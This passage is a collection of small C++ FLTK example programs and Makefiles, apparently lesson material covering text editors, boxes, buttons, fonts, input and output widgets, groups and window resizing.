Fl_Button *clear_b = new Fl_Button(input_w / 2, input_h,
input_w / 2, button_h, "Clear");
clear_b->callback(clear_callback, (void*)ed);
clear_b->labelsize(font_size);
win->end();
win->show();
return Fl::run();
}
text_editor02.cppC++ / 64 lines
#include <stdio.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Button.H>
#include <FL/Fl_Text_Editor.H>
enum {
input_w = 2000,
input_h = 1000,
button_h = 100,
font_size = 40
};
static void print_callback(Fl_Widget *w, void *user)
{
Fl_Text_Editor *editor = static_cast<Fl_Text_Editor*>(user);
char* str = editor->buffer()->text();
fputs(str, stdout);
fflush(stdout);
free(str);
editor->take_focus();
}
static void clear_callback(Fl_Widget *w, void *user)
{
Fl_Text_Editor *editor = static_cast<Fl_Text_Editor*>(user);
editor->buffer()->text("");
editor->take_focus();
}
int main(int argc, char **argv)
{
Fl_Window *win = new Fl_Window(input_w, input_h + button_h, "input demo");
Fl_Text_Buffer *buf = new Fl_Text_Buffer;
Fl_Text_Editor *ed1 = new Fl_Text_Editor(0, 0, input_w / 2, input_h);
ed1->textsize(font_size);
ed1->buffer(buf);
ed1->textcolor(FL_GRAY);
ed1->color(FL_BLACK);
ed1->cursor_color(FL_GRAY);
Fl_Text_Editor *ed2 = new Fl_Text_Editor(input_w / 2, 0, input_w / 2, input_h);
ed2->textsize(font_size);
ed2->buffer(buf);
ed2->textcolor(FL_GRAY);
ed2->color(FL_BLACK);
ed2->cursor_color(FL_GRAY);
Fl_Button *print_b = new Fl_Button(0, input_h,
input_w / 2, button_h, "Print");
print_b->callback(print_callback, (void*)ed1);
print_b->labelsize(font_size);
Fl_Button *clear_b = new Fl_Button(input_w / 2, input_h,
input_w / 2, button_h, "Clear");
clear_b->callback(clear_callback, (void*)ed2);
clear_b->labelsize(font_size);
win->end();
win->show();
return Fl::run();
}
text_editor03.cppC++ / 70 lines
#include <stdio.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Button.H>
#include <FL/Fl_Text_Editor.H>
struct controls {
Fl_Text_Editor *ed;
Fl_Text_Buffer *buf1;
Fl_Text_Buffer *buf2;
};
enum {
input_w = 1000,
input_h = 1000,
button_h = 100,
font_size = 40
};
static void print_callback(Fl_Widget *w, void *user)
{
controls *ctrl = static_cast<controls*>(user);
char* str = ctrl->ed->buffer()->text();
fputs(str, stdout);
fflush(stdout);
free(str);
ctrl->ed->take_focus();
}
static void buffer_callback(Fl_Widget *w, void *user)
{
controls *ctrl = static_cast<controls*>(user);
Fl_Text_Buffer *buf =
ctrl->ed->buffer() == ctrl->buf1 ? ctrl->buf2 : ctrl->buf1;
ctrl->ed->buffer(buf);
ctrl->ed->take_focus();
}
int main(int argc, char **argv)
{
controls *ctrl = new controls;
Fl_Window *win = new Fl_Window(input_w, input_h + button_h, "input demo");
ctrl->buf1 = new Fl_Text_Buffer;
ctrl->buf2 = new Fl_Text_Buffer;
Fl_Text_Editor *ed = new Fl_Text_Editor(0, 0, input_w, input_h);
ed->textsize(font_size);
ed->buffer(ctrl->buf1);
ed->textcolor(FL_GRAY);
ed->color(FL_BLACK);
ed->cursor_color(FL_GRAY);
ed->resize(ed->x(), ed->y(), ed->w(), ed->h());
ctrl->ed = ed;
Fl_Button *print_b = new Fl_Button(0, input_h,
input_w / 2, button_h, "Print");
print_b->callback(print_callback, (void*)ctrl);
print_b->labelsize(font_size);
Fl_Button *clear_b = new Fl_Button(input_w / 2, input_h,
input_w / 2, button_h, "Buffer");
clear_b->callback(buffer_callback, (void*)ctrl);
clear_b->labelsize(font_size);
win->end();
win->show();
return Fl::run();
}
05 (10-11)
MakefileMake / 13 lines
FLTK_DIR = $(HOME)/.app/fltk-1.3.11
CPPFLAGS = -I$(FLTK_DIR)
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
LDFLAGS = -L$(FLTK_DIR)/lib
LDLIBS = $(shell $(FLTK_DIR)/fltk-config --ldflags)
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
box.cppC++ / 15 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
int main()
{
Fl_Window *win = new Fl_Window(1000, 1000, "window");
win->box(FL_OVAL_FRAME);
win->color(FL_DARK_BLUE);
win->end();
win->show();
return Fl::run();
}
box01.cppC++ / 27 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Box.H>
enum {
width = 1000,
height = 1000,
font_size = 40
};
int main()
{
Fl_Window *win = new Fl_Window(width, height, "window");
win->color(FL_BLACK);
Fl_Box *box = new Fl_Box(0, 0, width, height);
box->label("@+98-->");
box->box(FL_DIAMOND_UP_BOX);
box->color(fl_rgb_color(2, 20, 5));
box->labelsize(font_size);
box->labelcolor(FL_GRAY);
win->end();
win->show();
return Fl::run();
}
box02.cppC++ / 25 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Box.H>
int main()
{
Fl_Window *win = new Fl_Window(400, 300, "Pictograms");
Fl_Box *normal = new Fl_Box(20, 20, 160, 100, "@>>");
normal->labelsize(40);
Fl_Box *rotated = new Fl_Box(220, 20, 160, 100, "@8>>");
rotated->labelsize(40);
Fl_Box *large = new Fl_Box(20, 150, 160, 100, "@+9>>");
large->labelsize(40);
Fl_Box *flipped = new Fl_Box(220, 150, 160, 100, "@$-->");
flipped->labelsize(40);
win->end();
win->show();
return Fl::run();
}
box03.cppC++ / 27 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Box.H>
enum {
width = 1000,
height = 1000,
font_size = 40
};
int main()
{
Fl_Window *win = new Fl_Window(width, height, "window");
win->color(FL_BLACK);
Fl_Box *box = new Fl_Box(0, 0, width, height);
box->label("@-28fileprint");
box->box(FL_DIAMOND_UP_BOX);
box->color(fl_rgb_color(2, 20, 5));
box->labelsize(font_size);
box->labelcolor(FL_GRAY);
win->end();
win->show();
return Fl::run();
}
box04.cppC++ / 27 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Box.H>
enum {
width = 1000,
height = 1000,
font_size = 40
};
int main()
{
Fl_Window *win = new Fl_Window(width, height, "window");
win->color(FL_BLACK);
Fl_Box *box = new Fl_Box(0, 0, width, height);
box->label("@-28fileprint");
box->box(FL_ROUNDED_FRAME);
box->color(FL_YELLOW);
box->labelsize(font_size);
box->labelcolor(FL_GRAY);
win->end();
win->show();
return Fl::run();
}
box05.cppC++ / 22 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Box.H>
enum {
dx = 200,
dy = 200,
font_size = 50
};
int main()
{
Fl_Window *win = new Fl_Window(0, 0, dx, dy);
Fl_Box *box = new Fl_Box(0, 0, dx, dy, "hello\nthere");
box->labelsize(font_size);
box->labelfont(FL_TIMES);
win->end();
win->show();
return Fl::run();
}
buttons.cppC++ / 91 lines
#include <stdio.h>
#include <stdlib.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Button.H>
#include <FL/Fl_Radio_Round_Button.H>
#include <FL/Fl_Check_Button.H>
#include <FL/Fl_Box.H>
enum {
spacing = 2,
button_w = 150,
button_h = 40,
option_w = 120,
option_h = 20,
letter_size = 90,
num_radio_buttons = 3
};
static const int colors[] = { FL_RED, FL_GREEN, FL_BLUE };
static const char *const colnames[] = { "red", "green", "blue" };
static const char *const check_button_name = "show letter";
static const char *const buttons_name[] = { "Set!", "Quit" };
struct controls {
Fl_Radio_Round_Button *rb[num_radio_buttons];
Fl_Check_Button *cb;
Fl_Box *box;
};
static void set_callback(Fl_Widget *w, void *user)
{
controls *c = (controls*)user;
for (int i = 0; i < num_radio_buttons; i++)
if (c->rb[i]->value()) {
c->box->color(colors[i]);
break;
}
c->box->label(c->cb->value() ? "A" : "");
}
static void exit_callback(Fl_Widget *w, void *)
{
Fl_Widget *p;
do {
p = w->parent();
if (p)
w = p;
} while(p);
w->hide();
}
int main(int argc, char **argv)
{
int win_w = 2 * button_w + 3 * spacing;
int win_h = 4 * option_h + button_h + 7 * spacing;
Fl_Window *win = new Fl_Window(win_w, win_h, "buttons demo");
controls *ctrl = new controls;
for (int i = 0; i < num_radio_buttons; i++) {
int y = spacing * (i + 1) + option_h * i;
ctrl->rb[i] = new Fl_Radio_Round_Button(spacing, y,
option_w, option_h,
colnames[i]);
}
ctrl->cb = new Fl_Check_Button(spacing, 5 * spacing + 3 * option_h,
option_w, option_h, check_button_name);
int box_x = 2 * spacing + option_w;
int box_w = 2 * button_w + spacing - option_w - spacing;
int box_h = 4 * option_h + 4 * spacing;
ctrl->box = new Fl_Box(box_x, spacing, box_w, box_h);
ctrl->box->labelsize(letter_size);
ctrl->box->labelcolor(FL_WHITE);
ctrl->box->box(FL_DOWN_FRAME);
int button_y = 6 * spacing + 4 * option_h;
Fl_Button *set_b = new Fl_Button(spacing, button_y,
button_w, button_h, buttons_name[0]);
set_b->callback(set_callback, (void*)ctrl);
Fl_Button *close_b = new Fl_Button(2 * spacing + button_w, button_y,
button_w, button_h, buttons_name[1]);
close_b->callback(exit_callback, 0);
win->end();
win->show();
return Fl::run();
}
fonts.cppC++ / 53 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Box.H>
Fl_Box **make_box_grid(int w, int h, int spc, int nx, int ny)
{
int i, j;
Fl_Box **r = new Fl_Box*[nx * ny];
for(i = 0; i < nx; i++)
for(j = 0; j < ny; j++)
r[i * ny + j] = new Fl_Box((w + spc) * i + spc,
(h + spc) * j + spc, w, h);
return r;
}
enum {
spacing = 10,
box_h = 45,
box_w = 330,
count_x = 3,
count_y = 4,
labelsize = 35
};
const char * const lab_main[count_x] = { "Helvetica", "Courier", "Times" };
const char * const lab_aux[count_y] = { "", " BOLD", " ITALIC", " B+I" };
const int font_codes[count_x] = { FL_HELVETICA, FL_COURIER, FL_TIMES };
const int font_add[count_y] = { 0, FL_BOLD, FL_ITALIC, FL_BOLD+FL_ITALIC };
int main(int argc, char **argv)
{
int win_w = (box_w + spacing) * count_x + spacing;
int win_h = (box_h + spacing) * count_y + spacing;
Fl_Window *win = new Fl_Window(win_w, win_h, "fonts demo");
Fl_Box **grid = make_box_grid(box_w, box_h, spacing, count_x, count_y);
char buf[80];
for(int n = 0; n < count_x; n++)
for(int k = 0; k < count_y; k++) {
sprintf(buf, "%s%s", lab_main[n], lab_aux[k]);
int idx = n * count_y + k;
grid[idx]->copy_label(buf);
grid[idx]->labelfont(font_codes[n] + font_add[k]);
grid[idx]->labelsize(labelsize);
grid[idx]->align(FL_ALIGN_CENTER);
}
win->end();
win->show();
return Fl::run();
}
input.cppC++ / 30 lines
#include <stdio.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Input.H>
enum {
input_w = 500,
input_h = 100,
font_size = 30,
label_w = 100
};
int main(int argc, char **argv)
{
Fl_Window *win = new Fl_Window(input_w + 2 * label_w, 3 * input_h,
"input demo");
Fl_Input *inp = new Fl_Input(label_w, input_h, input_w, input_h, "input");
inp->textsize(font_size);
inp->labelsize(font_size);
inp->textcolor(FL_GRAY);
inp->color(FL_YELLOW);
inp->cursor_color(FL_GRAY);
inp->box(FL_ROUNDED_FRAME);
inp->align(FL_ALIGN_TOP);
win->end();
win->show();
return Fl::run();
}
input01.cppC++ / 47 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Input.H>
#include <FL/Fl_Box.H>
enum {
spacing = 20,
label_w = 100,
input_w = 440,
input_h = 55,
hint_h = 35,
hint_font_size = 16,
input_font_size = 25,
input_x = spacing + label_w,
hint_y = spacing,
normal_y = hint_y + hint_h + spacing,
oval_y = normal_y + input_h + spacing,
win_w = input_x + input_w + spacing,
win_h = oval_y + input_h + spacing
};
int main()
{
Fl_Window win(win_w, win_h, "Fl_Input box styles");
Fl_Box hint(spacing, hint_y, win_w - 2 * spacing, hint_h,
"Try typing, selecting and deleting text");
hint.labelsize(hint_font_size);
Fl_Input normal(input_x, normal_y, input_w, input_h, "Normal:");
normal.textsize(input_font_size);
normal.value("Hello world!");
Fl_Input oval(input_x, oval_y, input_w, input_h, "Oval:");
oval.box(FL_OFLAT_BOX);
oval.color(FL_YELLOW);
oval.textsize(input_font_size);
oval.value("Hello world!");
win.end();
win.show();
return Fl::run();
}
label_type.cppC++ / 64 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Box.H>
#include <FL/Fl_Pixmap.H>
// A tiny red diamond, stored as XPM image data
static const char *const icon_xpm[] = {
"12 12 2 1",
" c None",
"* c #E33E36",
" ** ",
" **** ",
" ****** ",
" ******** ",
" ********** ",
"************",
"************",
" ********** ",
" ******** ",
" ****** ",
" **** ",
" ** "
};
enum {
label_w = 420,
label_h = 60,
num_labels = 5,
space = 20,
font_size = 30
};
const Fl_Labeltype label_types[] = {
FL_NORMAL_LABEL, FL_SHADOW_LABEL, FL_ENGRAVED_LABEL, FL_EMBOSSED_LABEL
};
const char * const label_text[] = {
"Normal", "Shadow", "Engraved", "Embossed", "Image + Text"
};
int main()
{
int win_w = label_w + 2 * space;
int win_h = num_labels * label_h + (num_labels + 1) * space;
Fl_Window win(win_w, win_h, "FLTK label types");
Fl_Pixmap icon(icon_xpm);
for (int i = 0; i < num_labels; i++) {
int y = i * label_h + (i + 1) * space;
Fl_Box *box = new Fl_Box(space, y, label_w, label_h, label_text[i]);
box->labelsize(font_size);
if (i == num_labels - 1) {
box->image(icon);
box->align(FL_ALIGN_IMAGE_NEXT_TO_TEXT);
} else
box->labeltype(label_types[i]);
}
win.end();
win.show();
return Fl::run();
}
labels.cppC++ / 52 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Box.H>
Fl_Box **make_box_grid(int w, int h, int spc, int nx, int ny)
{
int i, j;
Fl_Box **r = new Fl_Box*[nx * ny];
for(i = 0; i < nx; i++)
for(j = 0; j < ny; j++)
r[i * ny + j] = new Fl_Box((w + spc) * i + spc,
(h + spc) * j + spc, w, h);
return r;
}
enum {
spacing = 10,
box_h = 45,
box_w = 200,
count_x = 4,
count_y = 5,
labelsize = 20
};
const char * const labels[] = {
"@>>", "@2>>", "@7>>", "@+9>>", "@-200097>>",
"@fileprint", "@%fileprint", "@3fileprint", "@+5fileprint", "@-28fileprint",
//"@-->", "@$-->", "@00015-->", "@9-->", "@+99-->",
"@DnArrow", "@$DnArrow", "@00015DnArrow", "@9DnArrow", "@+99DnArrow",
"@->|", "@-100345->|", "@00015->|", "@9->|", "@+99->|"
};
int main(int argc, char **argv)
{
int win_w = (box_w + spacing) * count_x + spacing;
int win_h = (box_h + spacing) * count_y + spacing;
Fl_Window *win = new Fl_Window(win_w, win_h, "label icons");
Fl_Box **grid = make_box_grid(box_w, box_h, spacing, count_x, count_y);
char buf[80];
for(int n = 0; n < count_x * count_y; n++) {
sprintf(buf, "%s @%s", labels[n], labels[n]);
grid[n]->labelfont(FL_COURIER);
grid[n]->labelsize(labelsize);
grid[n]->copy_label(buf);
grid[n]->align(FL_ALIGN_BOTTOM_LEFT|FL_ALIGN_INSIDE);
}
win->end();
win->show();
return Fl::run();
}
text_editor03.cppC++ / 71 lines
#include <stdio.h>
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Button.H>
#include <FL/Fl_Text_Editor.H>
struct controls {
Fl_Text_Editor *ed;
Fl_Text_Buffer *buf1;
Fl_Text_Buffer *buf2;
};
enum {
input_w = 1000,
input_h = 1000,
button_h = 100,
font_size = 40
};
static void print_callback(Fl_Widget *w, void *user)
{
controls *ctrl = static_cast<controls*>(user);
char* str = ctrl->ed->buffer()->text();
fputs(str, stdout);
fflush(stdout);
free(str);
ctrl->ed->take_focus();
}
static void buffer_callback(Fl_Widget *w, void *user)
{
controls *ctrl = static_cast<controls*>(user);
Fl_Text_Buffer *buf =
ctrl->ed->buffer() == ctrl->buf1 ? ctrl->buf2 : ctrl->buf1;
ctrl->ed->buffer(buf);
ctrl->ed->take_focus();
}
int main(int argc, char **argv)
{
controls *ctrl = new controls;
Fl_Window *win = new Fl_Window(input_w, input_h + button_h, "input demo");
win->box(FL_OVAL_BOX);
ctrl->buf1 = new Fl_Text_Buffer;
ctrl->buf2 = new Fl_Text_Buffer;
Fl_Text_Editor *ed = new Fl_Text_Editor(0, 0, input_w, input_h);
ed->textsize(font_size);
ed->buffer(ctrl->buf1);
ed->textcolor(FL_GRAY);
ed->color(FL_BLACK);
ed->cursor_color(FL_GRAY);
ed->resize(ed->x(), ed->y(), ed->w(), ed->h());
ctrl->ed = ed;
Fl_Button *print_b = new Fl_Button(0, input_h,
input_w / 2, button_h, "Print");
print_b->callback(print_callback, (void*)ctrl);
print_b->labelsize(font_size);
Fl_Button *clear_b = new Fl_Button(input_w / 2, input_h,
input_w / 2, button_h, "Buffer");
clear_b->callback(buffer_callback, (void*)ctrl);
clear_b->labelsize(font_size);
win->end();
win->show();
return Fl::run();
}
06 (10-11)
MakefileMake / 13 lines
FLTK_DIR = $(HOME)/.app/fltk-1.3.11
CPPFLAGS = -I$(FLTK_DIR)
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
LDFLAGS = -L$(FLTK_DIR)/lib
LDLIBS = $(shell $(FLTK_DIR)/fltk-config --ldflags)
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
output.cppC++ / 23 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Output.H>
enum {
win_w = 800,
out_h = 100,
win_h = out_h,
font_size = 40
};
int main()
{
Fl_Window win(win_w, win_h, "output");
Fl_Output out(0, 0, win_w, win_h);
out.textsize(font_size);
out.value("hello there");
win.end();
win.show();
return Fl::run();
}
output1.cppC++ / 24 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Multiline_Output.H>
enum {
win_w = 200,
out_h = 200,
win_h = out_h,
font_size = 40
};
int main()
{
Fl_Window win(win_w, win_h, "output");
Fl_Multiline_Output out(0, 0, win_w, win_h);
out.textsize(font_size);
out.wrap(1);
out.value("hello there\nhow are you?\nAlright");
win.end();
win.show();
return Fl::run();
}
output2.cppC++ / 27 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Multiline_Output.H>
enum {
out_w = 300,
out_h = 200,
space = 10,
win_h = out_h + 2 * space,
win_w = out_w + 2 * space,
font_size = 40
};
int main()
{
Fl_Window win(win_w, win_h, "output");
Fl_Multiline_Output out(space, space, out_w, out_h);
out.textsize(font_size);
out.box(FL_FLAT_BOX);
out.color(FL_BACKGROUND_COLOR);
out.value("hello there\nhow are you?\nAlright");
win.end();
win.show();
return Fl::run();
}
output3.cppC++ / 32 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Text_Display.H>
#include <FL/Fl_Text_Buffer.H>
enum {
out_w = 300,
out_h = 200,
space = 10,
win_h = out_h + 2 * space,
win_w = out_w + 2 * space,
font_size = 40
};
int main()
{
Fl_Window win(win_w, win_h, "output");
Fl_Text_Display out(space, space, out_w, out_h);
out.textsize(font_size);
out.box(FL_FLAT_BOX);
out.color(FL_BACKGROUND_COLOR);
Fl_Text_Buffer buf;
out.buffer(buf);
buf.text("hello there\nhow are you?\nAlright\n");
buf.append("i am doing fine, it's all good\n");
win.end();
win.show();
return Fl::run();
}
output4.cppC++ / 24 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Output.H>
enum {
win_w = 200,
out_h = 200,
win_h = out_h,
font_size = 40
};
int main()
{
Fl_Window win(win_w, win_h, "output");
Fl_Output out(0, 0, win_w, win_h);
out.textsize(font_size);
out.wrap(1);
out.value("hello there, how are you?");
win.end();
win.show();
return Fl::run();
}
output5.cppC++ / 41 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Text_Display.H>
#include <FL/Fl_Text_Buffer.H>
enum {
out_w = 500,
out_h = 300,
space = 10,
win_h = out_h + 2 * space,
win_w = out_w + 2 * space,
font_size = 40
};
static void append_callback(void *user)
{
Fl_Text_Buffer *buf = static_cast<Fl_Text_Buffer*>(user);
buf->append("i am doing fine, it's all good\n");
}
int main()
{
Fl_Window win(win_w, win_h, "output");
Fl_Text_Buffer buf;
Fl_Text_Display out(space, space, out_w, out_h);
out.textsize(font_size);
out.box(FL_FLAT_BOX);
out.color(FL_BACKGROUND_COLOR);
out.buffer(buf);
buf.text("hello there\nhow are you?\nAlright\n");
win.end();
win.show();
Fl::add_timeout(2.0, append_callback, &buf);
return Fl::run();
}
07 (10-11)
MakefileMake / 13 lines
FLTK_DIR = $(HOME)/.app/fltk-1.3.11
CPPFLAGS = -I$(FLTK_DIR)
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
LDFLAGS = -L$(FLTK_DIR)/lib
LDLIBS = $(shell $(FLTK_DIR)/fltk-config --ldflags)
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
group.cppC++ / 65 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Group.H>
#include <FL/Fl_Box.H>
#include <FL/Fl_Button.H>
enum {
spacing = 10,
cell_w = 80,
cell_h = 70,
button_w = 120,
button_h = 40,
font_size = 25,
num_boxes = 4,
group_w = num_boxes * cell_w + (num_boxes + 1) * spacing,
group_h = cell_h + 2 * spacing,
win_w = group_w + 2 * spacing,
win_h = group_h + button_h + 3 * spacing
};
static void add_callback(Fl_Widget *w, void *user)
{
Fl_Group *group = static_cast<Fl_Group*>(user);
static int count = 0;
static const char *const labels[] = {"A", "B", "C", "D"};
if (count >= num_boxes)
return;
int x = group->x() + spacing + count * (cell_w + spacing);
int y = group->y() + spacing;
Fl_Box *box = new Fl_Box(x, y, cell_w, cell_h, labels[count]);
box->box(FL_UP_BOX);
box->color(FL_YELLOW);
box->labelsize(font_size);
group->add(box);
group->redraw();
count++;
if (count == num_boxes)
w->deactivate();
}
int main()
{
Fl_Window win(win_w, win_h, "Dynamic group");
Fl_Group group(spacing, spacing, group_w, group_h);
group.box(FL_ENGRAVED_BOX);
group.end();
Fl_Button button(spacing, group_h + 2 * spacing, button_w, button_h,
"Add box");
button.callback(add_callback, &group);
win.end();
win.show();
return Fl::run();
}
resize.cppC++ / 52 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Group.H>
#include <FL/Fl_Box.H>
enum {
spacing = 5,
cell_w = 100,
cell_h = 100,
num_x = 4,
num_y = 4,
labelsz = 50
};
static int cell_x(int n) { return n * (cell_w + spacing) + spacing; }
static int cell_y(int m) { return m * (cell_h + spacing) + spacing; }
static Fl_Box *mkwidget(int n, int m, int cn, int cm, const char *lab)
{
Fl_Box *b = new Fl_Box(cell_x(n), cell_y(m),
cn * cell_w + spacing * (cn-1),
cm * cell_h + spacing * (cm-1),
lab);
b->box(FL_EMBOSSED_BOX);
b->color(FL_WHITE);
b->labelsize(labelsz);
return b;
}
int main(int argc, char **argv)
{
Fl_Window *win = new Fl_Window(cell_x(num_x), cell_y(num_y), "resize");
mkwidget(0, 0, 2, 1, "A");
mkwidget(2, 0, 1, 1, "B");
mkwidget(3, 0, 1, 1, "C");
mkwidget(0, 1, 1, 2, "D");
mkwidget(3, 1, 1, 1, "E");
mkwidget(3, 2, 1, 2, "F");
mkwidget(0, 3, 1, 1, "G");
mkwidget(1, 3, 2, 1, "H");
Fl_Box *b = mkwidget(1, 1, 2, 2, "R");
win->resizable(b);
win->end();
win->show();
return Fl::run();
}
resize1.cppC++ / 24 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Box.H>
enum {
dx = 100,
dy = 100,
font_size = 40
};
int main(int argc, char **argv)
{
Fl_Window win(dx, dy, "resize");
Fl_Box box(0, 0, dx, dy, "R");
box.box(FL_EMBOSSED_BOX);
box.color(FL_WHITE);
box.labelsize(font_size);
win.resizable(box);
win.end();
win.show();
return Fl::run();
}
resize2.cppC++ / 28 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Group.H>
#include <FL/Fl_Box.H>
enum {
dx = 100,
dy = 100,
font_size = 40
};
int main(int argc, char **argv)
{
Fl_Window win(dx, dy, "resize");
Fl_Box box(0, 0, dx, dy, "R");
box.box(FL_EMBOSSED_BOX);
box.color(FL_WHITE);
box.labelsize(font_size);
Fl_Box hid(0, 0, dx, 0);
hid.box(FL_NO_BOX);
win.resizable(hid);
win.end();
win.show();
return Fl::run();
}
resize3.cppC++ / 28 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Group.H>
#include <FL/Fl_Box.H>
enum {
dx = 100,
dy = 100,
font_size = 40
};
int main(int argc, char **argv)
{
Fl_Window win(dx, dy, "resize");
Fl_Box box(0, 0, dx, dy, "R");
box.box(FL_EMBOSSED_BOX);
box.color(FL_WHITE);
box.labelsize(font_size);
Fl_Box hid(0, 0, 0, dy);
hid.box(FL_NO_BOX);
win.resizable(hid);
win.end();
win.show();
return Fl::run();
}
resize4.cppC++ / 52 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Group.H>
#include <FL/Fl_Box.H>
enum {
spacing = 5,
cell_w = 50,
cell_h = 50,
num_x = 4,
num_y = 4,
labelsz = 50
};
static int cell_x(int n) { return n * (cell_w + spacing) + spacing; }
static int cell_y(int m) { return m * (cell_h + spacing) + spacing; }
static Fl_Box *mkwidget(int n, int m, int cn, int cm, const char *lab)
{
Fl_Box *b = new Fl_Box(cell_x(n), cell_y(m),
cn * cell_w + spacing * (cn-1),
cm * cell_h + spacing * (cm-1),
lab);
b->box(FL_EMBOSSED_BOX);
b->color(FL_WHITE);
b->labelsize(labelsz);
return b;
}
int main(int argc, char **argv)
{
Fl_Window *win = new Fl_Window(cell_x(num_x), cell_y(num_y), "resize");
mkwidget(0, 0, 2, 1, "A");
mkwidget(2, 0, 1, 1, "B");
mkwidget(3, 0, 1, 1, "C");
mkwidget(0, 1, 1, 2, "D");
mkwidget(3, 1, 1, 1, "E");
mkwidget(3, 2, 1, 2, "F");
mkwidget(0, 3, 1, 1, "G");
mkwidget(1, 3, 2, 1, "H");
Fl_Box *b = mkwidget(1, 1, 2, 2, "R");
win->resizable(b);
win->end();
win->show();
return Fl::run();
}
resize5.cppC++ / 56 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Group.H>
#include <FL/Fl_Box.H>
enum {
spacing = 5,
cell_w = 50,
cell_h = 50,
num_x = 4,
num_y = 4,
labelsz = 50
};
static int cell_x(int n) { return n * (cell_w + spacing) + spacing; }
static int cell_y(int m) { return m * (cell_h + spacing) + spacing; }
static Fl_Box *mkwidget(int n, int m, int cn, int cm, const char *lab)
{
Fl_Box *b = new Fl_Box(cell_x(n), cell_y(m),
cn * cell_w + spacing * (cn-1),
cm * cell_h + spacing * (cm-1),
lab);
b->color(FL_WHITE);
b->box(FL_EMBOSSED_BOX);
b->labelsize(labelsz);
return b;
}
int main(int argc, char **argv)
{
Fl_Window *win = new Fl_Window(cell_x(num_x), cell_y(num_y), "resize");
Fl_Group g1(0, 0, 4, 1);
mkwidget(0, 0, 2, 1, "A");
mkwidget(2, 0, 1, 1, "B");
mkwidget(3, 0, 1, 1, "C");
g1.end();
Fl_Group g2(0, 1, 4, 2);
mkwidget(0, 1, 1, 2, "D");
mkwidget(3, 1, 1, 1, "E");
Fl_Box *b = mkwidget(1, 1, 2, 2, "R");
win->resizable(b);
g2.end();
Fl_Group g3(0, 3, 4, 1);
mkwidget(3, 2, 1, 2, "F");
mkwidget(0, 3, 1, 1, "G");
mkwidget(1, 3, 2, 1, "H");
g3.end();
win->end();
win->show();
return Fl::run();
}
resize6.cppC++ / 98 lines
#include <FL/Fl.H>
#include <FL/Fl_Window.H>
#include <FL/Fl_Group.H>
#include <FL/Fl_Box.H>
enum {
spacing = 12,
gap = 8,
sidebar_w = 130,
side_box_h = 44,
edge_w = 80,
center_w = 190,
row_h = 58,
center_h = 165,
header_h = 40,
footer_h = 30,
font_size = 22,
main_w = 2 * edge_w + center_w + 4 * gap,
main_h = 2 * row_h + center_h + 4 * gap,
main_x = 2 * spacing + sidebar_w,
main_y = 2 * spacing + header_h,
win_w = main_x + main_w + spacing,
footer_y = main_y + main_h + spacing,
win_h = footer_y + footer_h + spacing
};
static Fl_Box *mkbox(int x, int y, int w, int h, const char *label, Fl_Color color)
{
Fl_Box *box = new Fl_Box(x, y, w, h, label);
box->box(FL_UP_BOX);
box->color(color);
box->labelsize(font_size);
return box;
}
int main()
{
Fl_Window *win = new Fl_Window(win_w, win_h, "Nested Groups and Resizing");
mkbox(spacing, spacing, win_w - 2 * spacing, header_h,
"Resize the window!", fl_rgb_color(190, 190, 190));
Fl_Group *sidebar = new Fl_Group(spacing, main_y, sidebar_w, main_h);
sidebar->box(FL_ENGRAVED_BOX);
for (int i = 0; i < 3; i++) {
static const char *names[] = {"1", "2", "3"};
mkbox(spacing + gap, main_y + gap + i * (side_box_h + gap),
sidebar_w - 2 * gap, side_box_h, names[i],
fl_rgb_color(160, 195, 230));
}
sidebar->resizable(0);
sidebar->end();
Fl_Group *main_group = new Fl_Group(main_x, main_y, main_w, main_h);
main_group->box(FL_ENGRAVED_BOX);
int left_x = main_x + gap;
int center_x = left_x + edge_w + gap;
int right_x = center_x + center_w + gap;
int top_y = main_y + gap;
int center_y = top_y + row_h + gap;
int bottom_y = center_y + center_h + gap;
Fl_Color fixed_color = fl_rgb_color(165, 220, 215);
Fl_Color grow_color = fl_rgb_color(245, 210, 140);
